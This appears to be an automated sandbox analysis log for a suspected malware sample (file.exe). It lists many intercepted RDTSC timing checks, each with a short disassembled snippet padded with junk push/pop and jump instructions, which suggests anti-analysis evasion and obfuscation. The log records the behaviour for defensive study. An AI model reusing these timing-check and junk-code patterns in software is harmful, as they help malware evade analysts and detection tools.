Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4B41 second address: DD4B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4CB6 second address: DD4CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4CBC second address: DD4CF3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6DFCC41849h 0x0000000b jmp 00007F6DFCC41845h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4E4A second address: DD4E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4E50 second address: DD4E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1C35 second address: DE1C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnc 00007F6DFD003CB6h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 js 00007F6DFD003CB8h 0x00000016 pushad 0x00000017 popad 0x00000018 push edx 0x00000019 jnp 00007F6DFD003CB6h 0x0000001f pop edx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007F6DFD003CC1h 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE036F second address: DE038C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6DFCC41843h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE04E6 second address: DE04EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE04EC second address: DE04F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE04F1 second address: DE04F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE04F9 second address: DE04FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE04FD second address: DE0501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0651 second address: DE0656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0790 second address: DE07B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 jmp 00007F6DFD003CC8h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE093F second address: DE095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6DFCC4183Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F6DFCC41836h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE095D second address: DE0967 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6DFD003CB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE9256 second address: DE925B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE925B second address: DE9283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6DFD003CBEh 0x0000000a jmp 00007F6DFD003CC3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF88C5 second address: DF88E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6DFCC41836h 0x0000000a popad 0x0000000b je 00007F6DFCC41838h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 ja 00007F6DFCC41836h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08F2C second address: E08F44 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6DFD003CC2h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08F44 second address: E08F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08F48 second address: E08F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08F55 second address: E08F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC4183Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BF2D second address: E0BF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BF33 second address: E0BF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BD37 second address: E0BD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BD40 second address: E0BD5F instructions: 0x00000000 rdtsc 0x00000002 je 00007F6DFCC41841h 0x00000008 jmp 00007F6DFCC4183Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F6DFCC4187Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BD5F second address: E0BD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BD63 second address: E0BD67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BD67 second address: E0BD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6DFD003CBDh 0x0000000f jmp 00007F6DFD003CC1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BD8F second address: E0BD99 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6DFCC41836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14836 second address: E1483C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1483C second address: E14859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC4183Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F6DFCC41836h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13053 second address: E1305F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1319E second address: E131C0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6DFCC41836h 0x00000008 jmp 00007F6DFCC41848h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E131C0 second address: E131E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6DFD003CC4h 0x00000008 jmp 00007F6DFD003CBBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13366 second address: E1336B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1336B second address: E1339C instructions: 0x00000000 rdtsc 0x00000002 js 00007F6DFD003CCCh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6DFD003CC4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6DFD003CC1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13665 second address: E1366B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E137EF second address: E137F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13989 second address: E13995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6DFCC41836h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13995 second address: E139DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6DFD003CC6h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push esi 0x00000014 push edx 0x00000015 pop edx 0x00000016 jc 00007F6DFD003CB6h 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E139DA second address: E139ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC4183Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13B13 second address: E13B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13B18 second address: E13B23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F6DFCC41836h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2196D second address: E219A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6DFD003CC6h 0x00000008 jmp 00007F6DFD003CC4h 0x0000000d pop esi 0x0000000e jbe 00007F6DFD003CC2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E219A3 second address: E219C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6DFCC41836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F6DFCC4183Bh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E219C2 second address: E219CC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6DFD003CBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27011 second address: E27028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC41841h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24E2B second address: E24E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6DFD003CC5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3140C second address: D31410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33BDD second address: E33BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36568 second address: E36575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F6DFCC41836h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36575 second address: E3657F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6DFD003CB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3657F second address: E36583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36583 second address: E3658D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E363FE second address: E36402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36402 second address: E36416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6DFD003CBBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3910E second address: E39112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39112 second address: E39134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F6DFD003CBEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38E46 second address: E38E51 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38E51 second address: E38E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38E57 second address: E38E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38E5F second address: E38E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CBBh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jno 00007F6DFD003CB6h 0x00000011 js 00007F6DFD003CB6h 0x00000017 ja 00007F6DFD003CB6h 0x0000001d popad 0x0000001e popad 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 pop eax 0x00000023 jnc 00007F6DFD003CB6h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A9F8 second address: E3AA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F6DFCC4183Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F7C5 second address: E4F7CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F7CB second address: E4F813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F6DFCC41840h 0x0000000c jmp 00007F6DFCC4183Ah 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6DFCC41845h 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d jmp 00007F6DFCC41846h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F813 second address: E4F81B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F81B second address: E4F826 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F6DFCC41836h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F826 second address: E4F833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F6DFD003CB6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FDCF second address: E4FDD9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6DFCC41842h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FDD9 second address: E4FDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FDDF second address: E4FE02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007F6DFCC41843h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FE02 second address: E4FE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6DFD003CBFh 0x0000000a jmp 00007F6DFD003CC1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F6DFD003CB6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FE2F second address: E4FE39 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6DFCC41836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E500CC second address: E500D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5023A second address: E50244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6DFCC41836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50412 second address: E50423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBBh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50423 second address: E5042C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5042C second address: E50432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54A7E second address: E54A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E2E second address: E54E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E42 second address: E54E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E46 second address: E54E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F6DFD003CB8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov edx, eax 0x00000025 push dword ptr [ebp+12450D5Dh] 0x0000002b mov edx, edi 0x0000002d call 00007F6DFD003CB9h 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jmp 00007F6DFD003CBCh 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E91 second address: E54E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E96 second address: E54EDA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jno 00007F6DFD003CB8h 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jbe 00007F6DFD003CCCh 0x0000001b jmp 00007F6DFD003CC6h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6DFD003CBDh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57AD1 second address: E57AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6DFCC41836h 0x0000000a jmp 00007F6DFCC4183Dh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57AE9 second address: E57AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jg 00007F6DFD003CB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57AF6 second address: E57B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC41844h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F6DFCC4186Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F6DFCC41836h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57B1F second address: E57B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57B23 second address: E57B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57B2D second address: E57B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CC1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511021F second address: 5110243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110243 second address: 5110247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110247 second address: 511024D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
